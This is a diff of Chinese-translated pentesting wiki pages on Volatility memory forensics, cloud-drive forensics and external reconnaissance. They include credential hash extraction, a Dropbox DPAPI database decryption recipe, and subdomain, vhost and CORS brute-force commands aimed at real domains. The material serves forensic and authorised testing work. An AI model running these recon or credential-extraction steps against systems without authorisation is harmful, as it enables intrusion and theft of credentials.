始终查看 **kdbgscan 找到的进程数量**。有时 imageinfo 和 kdbgscan 可以找到 **多个** 合适的 **配置文件**,但只有 **有效的一个会有一些相关的进程**(这是因为提取进程需要正确的 KDBG 地址)。
```bash
@ -133,7 +133,7 @@ PsLoadedModuleList : 0xfffff80001197ac0 (0 modules)
## 哈希/密码
提取 SAM 哈希、[域缓存凭据](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) 和 [lsa 秘密](../../../windows-hardening/authentication-credentials-uac-and-efs/#lsa-secrets)。
提取 SAM 哈希、[域缓存凭据](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) 和 [lsa 秘密](../../../windows-hardening/authentication-credentials-uac-and-efs/index.html#lsa-secrets)。
{{#tabs}}
{{#tab name="vol3"}}
@ -163,7 +163,7 @@ volatility -f file.dmp --profile=Win7SP1x86 memdump -p 2168 -D conhost/
### 列出进程
尝试查找 **可疑** 进程(通过名称)或 **意外****进程**(例如 cmd.exe 作为 iexplorer.exe 的子进程)。\
尝试查找 **可疑** 进程(名称)或 **意外****进程**(例如 cmd.exe 作为 iexplorer.exe 的子进程)。\
比较 pslist 的结果与 psscan 的结果,以识别隐藏进程可能会很有趣。
{{#tabs}}
@ -220,7 +220,7 @@ volatility --profile=PROFILE consoles -f file.dmp #command history by scanning f
{{#endtab}}
{{#endtabs}}
`cmd.exe` 中执行的命令由 **`conhost.exe`**(或在 Windows 7 之前的系统`csrss.exe`)管理。这意味着如果 **`cmd.exe`** 在获取内存转储之前被攻击者终止,仍然可以从 **`conhost.exe`** 的内存中恢复会话的命令历史记录。为此,如果在控制台的模块中检测到异常活动,则应转储相关 **`conhost.exe`** 进程的内存。然后,通过在此转储中搜索 **strings**,可以提取会话中使用的命令行。
`cmd.exe` 中执行的命令由 **`conhost.exe`**(或在 Windows 7 之前的系统`csrss.exe`)管理。这意味着如果攻击者在获取内存转储之前终止了 **`cmd.exe`**,仍然可以从 **`conhost.exe`** 的内存中恢复会话的命令历史记录。为此,如果在控制台的模块中检测到异常活动,则应转储相关 **`conhost.exe`** 进程的内存。然后,通过在此转储中搜索 **strings**,可以提取会话中使用的命令行。
### 环境
@ -290,7 +290,7 @@ volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp #Get the SID of
### 句柄
了解一个 **进程拥有的句柄**(已打开)指向哪些其他文件、密钥、线程、进程... 是很有用的
了解一个 **进程拥有的句柄**(已打开的)对于其他文件、密钥、线程、进程等是很有用的。
{{#tabs}}
{{#tab name="vol3"}}
@ -536,9 +536,9 @@ volatility --profile=Win7SP1x86_23418 mftparser -f file.dmp
{{#endtab}}
{{#endtabs}}
**NTFS 文件系统**使用一个关键组件称为_主文件表_MFT。该表为卷上的每个文件至少包含一个条目也包括 MFT 本身。关于每个文件的重要细节,如**大小、时间戳、权限和实际数据**,都封装在 MFT 条目中或在 MFT 外部但由这些条目引用的区域中。更多细节可以在[官方文档](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table)中找到。
**NTFS文件系统**使用一个关键组件称为_主文件表_MFT。该表为卷上的每个文件至少包含一个条目也包括MFT本身。关于每个文件的重要细节如**大小、时间戳、权限和实际数据**都封装在MFT条目中或在MFT外部但由这些条目引用的区域中。更多细节可以在[官方文档](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table)中找到。
### SSL 密钥/证书
### SSL密钥/证书
{{#tabs}}
{{#tab name="vol3"}}
@ -645,11 +645,11 @@ volatilitye --plugins="/tmp/plugins/" [...]
#### Autoruns
从 [https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns) 下载
从 [https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns) 下载
```
volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns
```
### 互斥锁
### Mutexes
{{#tabs}}
{{#tab name="vol3"}}
@ -684,7 +684,7 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp symlinkscan
### Bash
可以**从内存中读取 bash 历史记录。** 你也可以转储 _.bash_history_ 文件,但它已被禁用,你会很高兴可以使用这个 volatility 模块
可以**从内存中读取 bash 历史记录。** 你也可以转储 _.bash_history_ 文件,但它已被禁用,你会很高兴可以使用这个 volatility 模块
{{#tabs}}
{{#tab name="vol3"}}

View File

@ -11,18 +11,18 @@
- 修改日期
- 云中的文件数量
- 文件夹中的文件数量
- **CID**OneDrive用户的唯一ID
- **CID**: OneDrive用户的唯一ID
- 报告生成时间
- 操作系统的HD大小
- 操作系统的硬盘大小
一旦找到CID建议**搜索包含此ID的文件**。您可能会找到名为_**\<CID>.ini**_ 和 _**\<CID>.dat**_ 的文件这些文件可能包含与OneDrive同步的文件名称等有趣信息。
## Google Drive
在Windows中您可以在 `\Users\<username>\AppData\Local\Google\Drive\user_default` 找到主要的Google Drive文件夹\
此文件夹包含一个名为Sync_log.log的文件其中包含帐户的电子邮件地址、文件名、时间戳、文件的MD5哈希等信息。即使是已删除的文件也会出现在该日志文件中,并带有相应的MD5。
此文件夹包含一个名为Sync_log.log的文件其中包含帐户的电子邮件地址、文件名、时间戳、文件的MD5哈希等信息。即使是已删除的文件也会在该日志文件中显示其对应的MD5。
文件 **`Cloud_graph\Cloud_graph.db`** 是一个sqlite数据库包含表 **`cloud_graph_entry`**。在此表中,您可以找到**同步**文件的**名称**、修改时间、大小和文件的MD5校验和。
文件 **`Cloud_graph\Cloud_graph.db`** 是一个sqlite数据库包含表 **`cloud_graph_entry`**。在此表中,您可以找到**同步** **文件**的**名称**、修改时间、大小和文件的MD5校验和。
数据库 **`Sync_config.db`** 的表数据包含帐户的电子邮件地址、共享文件夹的路径和Google Drive版本。
@ -42,31 +42,31 @@ Dropbox使用**SQLite数据库**来管理文件。在此\
- Deleted.dbx
- Config.dbx
“.dbx”扩展名意味着**数据库**是**加密的**。Dropbox使用**DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN>))
“.dbx”扩展名表示**数据库**是**加密的**。Dropbox使用**DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN>))
要更好地理解Dropbox使用的加密您可以阅读 [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)。
然而,主要信息是:
- **熵**d114a55212655f74bd772e37e64aee9b
- **盐**0D638C092E8B82FC452883F95F355B8E
- **算法**PBKDF2
- **迭代次数**1066
- **熵**: d114a55212655f74bd772e37e64aee9b
- **盐**: 0D638C092E8B82FC452883F95F355B8E
- **算法**: PBKDF2
- **迭代次数**: 1066
除此之外,要解密数据库,您还需要:
- **加密的DPAPI密钥**您可以在注册表中找到它,路径为 `NTUSER.DAT\Software\Dropbox\ks\client`(将此数据导出为二进制)
- **`SYSTEM`** 和 **`SECURITY`** 注册单元
- **DPAPI主密钥**可以在 `\Users\<username>\AppData\Roaming\Microsoft\Protect` 找到
- **加密的DPAPI密钥**: 您可以在注册表中找到它,路径为 `NTUSER.DAT\Software\Dropbox\ks\client`(将此数据导出为二进制)
- **`SYSTEM`** 和 **`SECURITY`** 注册表项
- **DPAPI主密钥**: 可以在 `\Users\<username>\AppData\Roaming\Microsoft\Protect` 找到
- Windows用户的**用户名**和**密码**
然后您可以使用工具 [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:**
![](<../../../images/image (443).png>)
如果一切顺利,该工具将指示您需要**用来恢复原始密钥的主密钥**。要恢复原始密钥,只需使用此 [cyber_chef receipt](<https://gchq.github.io/CyberChef/#recipe=Derive_PBKDF2_key(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D)>),将主密钥作为“密码短语”放入配方中
如果一切顺利,该工具将指示您需要**使用以恢复原始密钥**。要恢复原始密钥,只需使用此 [cyber_chef配方](<https://gchq.github.io/CyberChef/index.html#recipe=Derive_PBKDF2_key(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D)>),将主密钥作为配方中的“密码短语”。
生成的十六进制是用于加密数据库的最终密钥,可以用来解密:
结果十六进制是用于加密数据库的最终密钥,可以用来解密:
```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
```
@ -75,17 +75,17 @@ sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the con
- **Email**: 用户的电子邮件
- **usernamedisplayname**: 用户的名称
- **dropbox_path**: Dropbox 文件夹所在的路径
- **Host_id: Hash** 用于认证到云端。只能从网页上撤销。
- **Host_id: Hash** 用于认证到云端。此项只能从网页上撤销。
- **Root_ns**: 用户标识符
**`filecache.db`** 数据库包含与 Dropbox 同步的所有文件和文件夹的信息。表 `File_journal` 是包含更多有用信息的表:
- **Server_path**: 文件在服务器内部的路径(路径前面有客户端的 `host_id`)。
- **Server_path**: 文件在服务器内部的路径(路径前面有客户端的 `host_id`)。
- **local_sjid**: 文件的版本
- **local_mtime**: 修改日期
- **local_ctime**: 创建日期
该数据库中的其他表包含更有趣的信息:
此数据库中的其他表包含更多有趣的信息:
- **block_cache**: Dropbox 所有文件和文件夹的哈希
- **block_ref**: 将表 `block_cache` 的哈希 ID 与表 `file_journal` 中的文件 ID 关联

View File

@ -4,14 +4,14 @@
## 资产发现
> 所以你被告知某家公司所有的东西都在范围内,你想弄清楚这家公司实际上拥有什么。
> 所以你被告知某家公司所有的东西都在范围内,你想弄清楚这家公司实际上拥有什么。
这个阶段的目标是获取**母公司拥有的所有公司**,然后获取这些公司的**资产**。为此,我们将:
1. 找到母公司的收购,这将给我们范围内的公司。
2. 找到每个公司的ASN如果有的话这将给我们每个公司拥有的IP范围。
3. 使用反向whois查找搜索与第一个相关的其他条目组织名称、域名...)(这可以递归进行)。
4. 使用其他技术如shodan `org``ssl`过滤器来搜索其他资产(`ssl`技巧可以递归进行)。
4. 使用其他技术如shodan`org``ssl`过滤器来搜索其他资产(`ssl`技巧可以递归进行)。
### **收购**
@ -26,9 +26,9 @@
自治系统编号(**ASN**)是由**互联网分配号码管理局IANA**分配给**自治系统**AS的**唯一编号**。\
一个**AS**由**IP地址**的**块**组成,这些块有明确的政策来访问外部网络,并由单一组织管理,但可能由多个运营商组成。
找出**公司是否分配了任何ASN**以找其**IP范围**是很有趣的。对范围内的所有**主机**进行**漏洞测试**并**查找这些IP内的域名**将是很有趣的。\
找出**公司是否分配了任何ASN**以找其**IP范围**是很有趣的。对范围内的所有**主机**进行**漏洞测试**并**查找这些IP内的域名**将是很有趣的。\
你可以在[**https://bgp.he.net/**](https://bgp.he.net)**中按公司**名称、**IP**或**域名**进行**搜索**。\
**根据公司的地区,这些链接可能对收集更多数据有用:** [**AFRINIC**](https://www.afrinic.net) **(非洲),** [**Arin**](https://www.arin.net/about/welcome/region/) **(北美),** [**APNIC**](https://www.apnic.net) **(亚洲),** [**LACNIC**](https://www.lacnic.net) **(拉丁美洲),** [**RIPE NCC**](https://www.ripe.net) **(欧洲)。无论如何,所有的** 有用信息 **IP范围和Whois**可能已经在第一个链接中出现。
**根据公司的地区,这些链接可能对收集更多数据有用:**[**AFRINIC**](https://www.afrinic.net) **(非洲),** [**Arin**](https://www.arin.net/about/welcome/region/) **(北美),** [**APNIC**](https://www.apnic.net) **(亚洲),** [**LACNIC**](https://www.lacnic.net) **(拉丁美洲),** [**RIPE NCC**](https://www.ripe.net) **(欧洲)。无论如何,所有的**有用信息**IP范围和Whois可能已经在第一个链接中出现。**
```bash
#You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla
@ -51,13 +51,13 @@ bbot -t tesla.com -f subdomain-enum
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
```
可以使用 [http://asnlookup.com/](http://asnlookup.com) 查找组织的 IP 范围(它有免费的 API。\
您可以使用 [http://asnlookup.com/](http://asnlookup.com) 查找组织的 IP 范围(它有免费的 API。\
您可以使用 [http://ipv4info.com/](http://ipv4info.com) 查找域名的 IP 和 ASN。
### **寻找漏洞**
此时我们已知 **范围内的所有资产**,因此如果您被允许,可以对所有主机启动一些 **漏洞扫描器**Nessus, OpenVAS。\
此外,您可以启动一些 [**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside) **或使用像** shodan **这样的服务来查找** 开放端口 **,根据您发现的内容,您应该** 查阅本书以了解如何对多个可能运行的服务进行渗透测试。\
在这一点上,我们知道 **范围内的所有资产**,所以如果您被允许,可以对所有主机启动一些 **漏洞扫描器**Nessus, OpenVAS。\
此外,您可以启动一些 [**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **或使用像** shodan **这样的服务来查找** 开放端口 **,根据您发现的内容,您应该** 查阅本书以了解如何对多个可能运行的服务进行渗透测试。\
**此外,值得一提的是,您还可以准备一些** 默认用户名 **和** 密码 **列表,并尝试使用 [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) 进行** 暴力破解服务。
## 域名
@ -70,7 +70,7 @@ _请注意在以下提出的技术中您还可以找到子域名这些
### **反向 DNS**
由于您已找到域名的所有 IP 范围,因此可以尝试对这些 **IP 执行反向 DNS 查找,以查找范围内的更多域名**。尝试使用受害者的某 DNS 服务器或一些知名的 DNS 服务器1.1.1.1, 8.8.8.8)。
由于您已经找到了域名的所有 IP 范围,您可以尝试对这些 **IP 执行反向 DNS 查找,以查找范围内的更多域名**。尝试使用受害者的某 DNS 服务器或一些知名的 DNS 服务器1.1.1.1, 8.8.8.8)。
```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@ -82,7 +82,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
### **反向 Whois循环**
**whois** 中,您可以找到很多有趣的 **信息**,如 **组织名称**、**地址**、**电子邮件**、电话号码……但更有趣的是,如果您通过这些字段中的任何一个执行 **反向 whois 查询**(例如其他 whois 注册处中出现相同的电子邮件),您可以找到 **与公司相关的更多资产**。\
**whois** 中,您可以找到很多有趣的 **信息**,如 **组织名称**、**地址**、**电子邮件**、电话号码……但更有趣的是,如果您通过这些字段中的任何一个进行 **反向 whois 查询**(例如,其他 whois 注册表中出现相同的电子邮件),您可以找到 **与公司相关的更多资产**。\
您可以使用在线工具,如:
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **免费**
@ -94,13 +94,13 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
- [https://www.domainiq.com/](https://www.domainiq.com) - 不免费
您可以使用 [**DomLink** ](https://github.com/vysecurity/DomLink) 自动化此任务(需要 whoxy API 密钥)。\
您还可以使用 [amass](https://github.com/OWASP/Amass) 行一些自动反向 whois 发现:`amass intel -d tesla.com -whois`
您还可以使用 [amass](https://github.com/OWASP/Amass) 行一些自动反向 whois 发现:`amass intel -d tesla.com -whois`
**请注意,每次找到新域名时,您可以使用此技术发现更多域名。**
### **跟踪器**
如果在两个不同页面中找到 **相同的跟踪器 ID**,您可以假设 **这两个页面****由同一团队管理**。\
如果在两个不同页面中找到 **相同的跟踪器 ID**,您可以推测 **这两个页面****由同一团队管理**。\
例如,如果您在多个页面上看到相同的 **Google Analytics ID** 或相同的 **Adsense ID**
有一些页面和工具可以让您通过这些跟踪器和更多内容进行搜索:
@ -113,14 +113,14 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
### **Favicon**
您知道我们可以通过查找相同的 favicon 图标哈希来找到与目标相关的域和子域吗?这正是 [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) 工具由 [@m4ll0k2](https://twitter.com/m4ll0k2) 制作的功能。以下是如何使用它:
您知道我们可以通过查找相同的 favicon 图标哈希来找到与目标相关的域和子域吗?这正是 [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) 工具由 [@m4ll0k2](https://twitter.com/m4ll0k2) 制作的功能。以下是如何使用它:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
```
![favihash - 发现具有相同 favicon 图标哈希的域](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
![favihash - 通过相同的 favicon 图标哈希发现域名](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
简单来说favihash 允许我们发现与我们的目标具有相同 favicon 图标哈希的域。
简单来说favihash 允许我们发现与目标具有相同 favicon 图标哈希的域
此外,您还可以使用 favicon 哈希搜索技术,如 [**这篇博客文章**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) 中所述。这意味着如果您知道 **易受攻击的 web 技术的 favicon 哈希**,您可以在 shodan 中搜索并 **找到更多易受攻击的地方**
```bash
@ -141,61 +141,61 @@ return fhash
```
### **版权 / 唯一字符串**
在网页中搜索**可能在同一组织的不同网站之间共享的字符串**。**版权字符串**可能是一个很好的例子。然后在**google**、其他**浏览器**或甚至在**shodan**中搜索该字符串:`shodan search http.html:"Copyright string"`
在网页中搜索 **可能在同一组织的不同网站之间共享的字符串**。**版权字符串**可能是一个很好的例子。然后在 **google**、其他 **浏览器** 或甚至 **shodan** 中搜索该字符串: `shodan search http.html:"Copyright string"`
### **CRT时间**
### **CRT 时间**
通常会有一个cron作业例如
通常会有一个 cron 作业,例如
```bash
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
更新服务器上的所有域证书。这意味着即使用于此的CA没有在有效期中设置生成时间也可以**在证书透明日志中找到属于同一公司的域**。\
在服务器上更新所有域名证书。这意味着即使用于此的CA没有在有效期中设置生成时间也可以**在证书透明日志中找到属于同一公司的域**。\
查看这个[**写作以获取更多信息**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)。
### 邮件 DMARC 信息
您可以使用一个网站,如[https://dmarc.live/info/google.com](https://dmarc.live/info/google.com)或一个工具,如[https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains)来查找**共享相同 DMARC 信息的域和子域**。
您可以使用一个网站,如[https://dmarc.live/info/google.com](https://dmarc.live/info/google.com)或一个工具,如[https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains)来查找**共享相同 DMARC 信息的域和子域**。
### **被动接管**
显然人们常常将子域分配给属于云服务提供商的IP并在某个时候**失去该IP地址但忘记删除DNS记录**。因此,仅仅在云中**生成一个虚拟机**(如Digital Ocean您实际上将**接管一些子域**。
显然,人们常常将子域分配给属于云服务提供商的IP并在某个时刻**失去该IP地址但忘记删除DNS记录**。因此,仅仅在云中**创建一个虚拟机**(如 Digital Ocean您实际上将**接管一些子域**。
[**这篇文章**](https://kmsec.uk/blog/passive-takeover/)解释了一个关于它的故事,并提出了一个脚本,该脚本**在DigitalOcean中生成一个虚拟机****获取**新机器的**IPv4**,并**在Virustotal中搜索指向它的子域记录**。
[**这篇文章**](https://kmsec.uk/blog/passive-takeover/)讲述了一个关于它的故事,并提出了一个脚本,该脚本**在 DigitalOcean 中创建一个虚拟机****获取**新机器的**IPv4**,并**在 Virustotal 中搜索指向它的子域记录**。
### **其他方法**
**请注意,每次找到新域时,您可以使用此技术发现更多域名。**
**请注意,每次找到新域时,您可以使用此技术发现更多域名。**
**Shodan**
如您所知,您可以使用IP空间的组织名称进行搜索。您可以在shodan中使用以下数据进行搜索:`org:"Tesla, Inc."` 检查找到的主机以获取TLS证书中的新意外域。
如您所知,您可以通过组织名称搜索IP空间。您可以在 Shodan 中使用以下数据进行搜索:`org:"Tesla, Inc."` 检查找到的主机以获取TLS证书中的新意外域
您可以访问主网页的**TLS证书**,获取**组织名称**,然后在**shodan**已知的所有网页的**TLS证书**中搜索该名称,使用过滤器:`ssl:"Tesla Motors"`或使用像[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)这样的工具。
您可以访问主网页的**TLS证书**,获取**组织名称**,然后在**shodan**已知的所有网页的**TLS证书**中搜索该名称,使用过滤器:`ssl:"Tesla Motors"`或使用像[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)这样的工具。
**Assetfinder**
[**Assetfinder**](https://github.com/tomnomnom/assetfinder)是一个查找与主域相关的**域**及其**子域**的工具,非常惊人。
[**Assetfinder**](https://github.com/tomnomnom/assetfinder)是一个查找与主域相关的**域**及其**子域**的工具,非常惊人。
### **寻找漏洞**
检查一些[接管](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)。也许某家公司**正在使用某个域**但他们**失去了所有权**。只需注册它(如果足够便宜)并告知公司。
检查一些[接管](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)。也许某家公司**正在使用某个域**但他们**失去了所有权**。只需注册它(如果足够便宜)并告知公司。
如果您发现任何**IP与您在资产发现中找到的不同**的域,您应该执行**基本漏洞扫描**使用Nessus或OpenVAS和一些[**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside),使用**nmap/masscan/shodan**。根据运行的服务,您可以在**本书中找到一些“攻击”它们的技巧**。\
&#xNAN;_&#x4E;ote that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
如果您发现任何**IP与您在资产发现中找到的不同的域名**,您应该执行**基本漏洞扫描**(使用 Nessus OpenVAS和一些[**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside),使用**nmap/masscan/shodan**。根据运行的服务,您可以在**本书中找到一些“攻击”它们的技巧**。\
&#xNAN;_&#x4E;ote 有时域名托管在不受客户控制的IP内因此不在范围内请小心。_
## 子域
## 子域
> 我们知道所有在范围内的公司、每个公司的所有资产以及与这些公司相关的所有域。
> 我们知道所有在范围内的公司、每个公司的所有资产以及与这些公司相关的所有域
是时候找到每个找到的域的所有可能子域。
是时候找到每个找到的域的所有可能子域
> [!TIP]
> 请注意,一些查找域的工具和技术也可以帮助查找子域
> 请注意,一些查找域的工具和技术也可以帮助查找子域名。
### **DNS**
让我们尝试从**DNS**记录中获取**子域**。我们还应该尝试进行**区域传输**(如果存在漏洞,您应该报告)。
让我们尝试从**DNS**记录中获取**子域**。我们还应该尝试进行**区域传输**(如果存在漏洞,您应该报告)。
```bash
dnsrecon -a -d tesla.com
```
@ -287,7 +287,7 @@ crt tesla.com
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
```
- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **和** [**subscraper**](https://github.com/Cillian-Collins/subscraper)它们在网上抓取JS文件并从中提取子域名。
- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper)它们在网上抓取JS文件并从中提取子域名。
```bash
# Get only subdomains from SubDomainizer
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
@ -315,7 +315,7 @@ python3 DomainTrail.py -d example.com
- [**securitytrails.com**](https://securitytrails.com/) 提供免费的 API 用于搜索子域名和 IP 历史
- [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
该项目提供 **与漏洞赏计划相关的所有子域名** 的免费访问。您还可以使用 [chaospy](https://github.com/dr-0x0x/chaospy) 访问这些数据,甚至可以访问该项目使用的范围 [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
该项目提供 **与漏洞计划相关的所有子域名** 的免费访问。您还可以使用 [chaospy](https://github.com/dr-0x0x/chaospy) 访问这些数据,甚至可以访问该项目使用的范围 [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
您可以在这里找到许多这些工具的 **比较**: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
@ -323,7 +323,7 @@ python3 DomainTrail.py -d example.com
让我们尝试通过暴力破解 DNS 服务器来查找新的 **子域名**,使用可能的子域名名称。
为此操作,您需要一些 **常见的子域名词汇表,例如**:
为此操作,您需要一些 **常见子域名字典,如**:
- [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
- [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
@ -345,11 +345,11 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) 是一个围绕 `massdns`封装,使用 Go 编写,允许您通过主动暴力破解枚举有效的子域名,并支持通配符处理和简单的输入输出。
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) 是一个围绕 `massdns`包装器,使用 Go 编写,允许您通过主动暴力破解枚举有效的子域名,并支持通配符处理和简单的输入输出。
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
- [**puredns**](https://github.com/d3mondev/puredns): 它使用 `massdns`
- [**puredns**](https://github.com/d3mondev/puredns): 它使用 `massdns`
```
puredns bruteforce all.txt domain.com
```
@ -359,7 +359,7 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
```
### 第二轮 DNS 暴力破解
在使用开放源和暴力破解找到子域名后,您可以生成找到的子域名的变体,以尝试找到更多。几个工具对这个目的很有用:
在使用开放源和暴力破解找到子域名后,您可以生成找到的子域名的变体,以尝试找到更多。以下几种工具对此目的非常有用:
- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** 给定域名和子域名生成排列。
```bash
@ -375,7 +375,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
- [**altdns**](https://github.com/infosec-au/altdns): 除了生成子域名排列,它还可以尝试解析它们(但最好使用之前提到的工具)。
- 你可以在 [**这里**](https://github.com/infosec-au/altdns/blob/master/words.txt) 获取 altdns 排列 **词表**
- 你可以在 [**这里**](https://github.com/infosec-au/altdns/blob/master/words.txt) 获取 altdns 排列 **词表**
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
@ -395,13 +395,13 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ 是一个子域名暴力破解模糊器,结合了一个极其简单但有效的 DNS 响应引导算法。它利用提供的一组输入数据,如定制的单词列表或历史 DNS/TLS 记录,准确合成更多相应的域名,并根据在 DNS 扫描过程中收集的信息进一步扩展它们。
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ 是一个子域名暴力破解模糊器,结合了一个极其简单但有效的 DNS 响应引导算法。它利用提供的一组输入数据,如定制的单词列表或历史 DNS/TLS 记录,准确合成更多相应的域名,并根据在 DNS 扫描期间收集的信息进一步扩展它们。
```
echo www | subzuf facebook.com
```
### **子域发现工作流程**
### **子域发现工作流程**
查看我写的这篇博客文章,关于如何使用 **Trickest workflows** **自动化子域发现**,这样我就不需要在我的电脑上手动启动一堆工具:
查看我写的这篇博客文章,关于如何使用 **Trickest workflows** **自动化子域发现**,这样我就不需要在我的电脑上手动启动一堆工具:
{{#ref}}
https://trickest.com/blog/full-subdomain-discovery-using-workflow/
@ -413,7 +413,7 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
### **虚拟主机 / VHosts**
如果你发现一个包含 **一个或多个网页** 的 IP 地址属于子域,你可以尝试通过在 **OSINT 来源** 中查找该 IP 的域名,或者通过 **暴力破解该 IP 的 VHost 域名****寻找其他子域**。
如果你发现一个包含 **一个或多个网页** 的 IP 地址属于子域,你可以尝试通过在 **OSINT 来源** 中查找该 IP 的域名,或者通过 **暴力破解该 IP 的 VHost 域名****寻找其他子域**。
#### OSINT
@ -421,7 +421,7 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
**暴力破解**
如果你怀疑某个子域可能隐藏在一个网络服务器中,你可以尝试进行暴力破解:
如果你怀疑某个子域可能隐藏在一个网络服务器中,你可以尝试进行暴力破解:
```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@ -438,7 +438,7 @@ VHostScan -t example.com
> [!NOTE]
> 使用此技术,您甚至可能能够访问内部/隐藏的端点。
### **CORS Brute Force**
### **CORS 暴力破解**
有时您会发现页面仅在有效的域/子域设置在 _**Origin**_ 头时返回头部 _**Access-Control-Allow-Origin**_。在这些情况下,您可以利用这种行为来 **发现** 新的 **子域**
```bash
@ -446,83 +446,83 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
```
### **桶暴力破解**
在寻找 **子域名** 时,注意是否指向任何类型的 **桶**,在这种情况下 [**检查权限**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
此外,既然此时您将知道所有在范围内的域名,请尝试 [**暴力破解可能的桶名称并检查权限**](../../network-services-pentesting/pentesting-web/buckets/)。
在寻找**子域名**时,注意是否指向任何类型的**桶**,在这种情况下,请[**检查权限**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
